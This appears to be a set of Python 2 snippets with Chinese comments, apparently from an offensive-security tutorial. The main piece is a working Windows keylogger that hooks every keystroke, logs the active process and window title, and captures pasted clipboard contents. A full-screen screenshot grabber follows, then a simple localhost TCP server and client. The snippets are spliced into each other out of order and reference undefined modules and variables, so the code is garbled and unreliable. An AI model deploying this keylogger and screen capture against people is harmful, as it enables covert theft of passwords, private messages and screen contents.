|  |
| --- |
| from ctypes import \* |
| import pythoncom |
| import pyHook |
| import win32clipboard |
|  |
| user32 = windll.user32 |
| kernel32 = windll.kernel32 |
| psapi = windll.psapi |
| current\_window = None |
|  |
| # |
| def get\_current\_process(): |
|  |
| # 获取最上层的窗口句柄 |
| hwnd = user32.GetForegroundWindow() |
|  |
| # 获取进程ID |
| pid = c\_ulong(0) |
| user32.GetWindowThreadProcessId(hwnd,byref(pid)) |
|  |
| # 将进程ID存入变量中 |
| process\_id = "%d" % pid.value |
|  |
| # 申请内存 |
| executable = create\_string\_buffer("\x00"\*512) |
| h\_process = kernel32.OpenProcess(0x400 | 0x10,False,pid) |
|  |
| psapi.GetModuleBaseNameA(h\_process,None,byref(executable),512) |
|  |
| # 读取窗口标题 |
| windows\_title = create\_string\_buffer("\x00"\*512) |
| length = user32.GetWindowTextA(hwnd,byref(windows\_title),512) |
|  |
| # 打印 |
| print |
| print "[ PID:%s-%s-%s]" % (process\_id,executable.value,windows\_title.value) |
| print |
|  |
| # 关闭handles |
| kernel32.CloseHandle(hwnd) |
| kernel32.CloseHandle(h\_process) |
|  |
| # 定义击键监听事件函数 |
| def KeyStroke(event): |
|  |
| global current\_window |
|  |
| # 检测目标窗口是否转移(换了其他窗口就监听新的窗口) |
| if event.WindowName != current\_window: |
| current\_window = event.WindowName |
| # 函数调用 |
| get\_current\_process() |
|  |
| # 检测击键是否常规按键（非组合键等） |
| if event.Ascii > 32 and event.Ascii <127: |
| print chr(event.Ascii), |
| else: |
| # 如果发现Ctrl+v（粘贴）事件，就把粘贴板内容记录下来 |
| if event.Key == "V": |
| win32clipboard.OpenClipboard() |
| pasted\_value = win32clipboard.GetClipboardData() |
| win32clipboard.CloseClipboard() |
| print "[PASTE]-%s" % (pasted\_value), |
| else: |
| print "[%s]" % event.Key, |
| # 循环监听下一个击键事件 |
| return True |
|  |
| # 创建并注册hook管理器 |
| kl = pyHook.HookManager() |
| kl.KeyDown = KeyStroke |
|  |
| # 注册hook并执行 |
| kl.HookKeyboard() |
| pythoncom.PumpMessages() |
|  |
| # 分辨率适应 |
| width = win32api.GetSystemMetrics(win32con.SM\_CXVIRTUALSCREEN) |
| height = win32api.GetSystemMetrics(win32con.SM\_CYVIRTUALSCREEN) |
| left = win32api.GetSystemMetrics(win32con.SM\_XVIRTUALSCREEN) |
| top = win32api.GetSystemMetrics(win32con.SM\_YVIRTUALSCREEN) |
|  |
| # 创建设备描述表 |
| desktop\_dc = win32gui.GetWindowDC(hdesktop) |
| img\_dc = win32ui.CreateDCFromHandle(desktop\_dc) |
|  |
| # 创建一个内存设备描述表 |
| mem\_dc = img\_dc.CreateCompatibleDC() |
|  |
| # 创建位图对象 |
| screenshot = win32ui.CreateBitmap() |
| screenshot.CreateCompatibleBitmap(img\_dc, width, height) |
| mem\_dc.SelectObject(screenshot) |
|  |
| # 截图至内存设备描述表 |
| mem\_dc.BitBlt((0, 0), (width, height), img\_dc, (left, top), win32con.SRCCOPY) |
|  |
| # 将截图保存到文件中 |
| screenshot.SaveBitmapFile(mem\_dc, 'c:\\WINDOWS\\Temp\\screenshot.bmp') |
|  |
| # 内存释放 |
| mem\_dc.DeleteDC() |
|  |
| # -\*- coding: utf-8 -\*- |
| import socket |
| import threading |
|  |
| # 监听的IP及端口 |
| bind\_ip = "127.0.0.1" |
| bind\_port = 9999 |
|  |
| server = socket.socket(socket.AF\_INET,socket.SOCK\_STREAM) |
|  |
| server.bind((bind\_ip,bind\_port)) |
|  |
| server.listen(5) |
|  |
| print "[\*] Listening on %s:%d" % (bind\_ip,bind\_port) |
|  |
| def handle\_client(client\_socket): |
|  |
| request = client\_socket.recv(1024) |
|  |
| print "[\*] Received:%s" % request |
|  |
| client\_socket.send("ok!") |
|  |
| client\_socket.close() |
|  |
| while True: |
|  |
| client,addr = server.accept() |
|  |
| print "[\*] Accept connection from:%s:%d" % (addr[0],addr[1]) |
|  |
| client\_handler = threading.Thread(target=handle\_client,args=(client,)) |
|  |
| client\_handler.start() |
| win32gui.DeleteObject(screenshot.GetHandle()) |
|  |
| # -\*- coding: utf-8 -\*- |
| import socket |
|  |
| # 目标地址IP/URL及端口 |
| target\_host = "127.0.0.1" |
| target\_port = 9999 |
|  |
| # 创建一个socket对象 |
| client = socket.socket(socket.AF\_INET,socket.SOCK\_STREAM) |
|  |
| # 连接主机 |
| client.connect((target\_host,target\_port)) |
|  |
| # 发送数据 |
| client.send("GET / HTTP/1.1\r\nHOST:127.0.0.1\r\n\r\n") |
|  |
| # 接收响应 |
| response = client.recv(4096) |
|  |
| print response |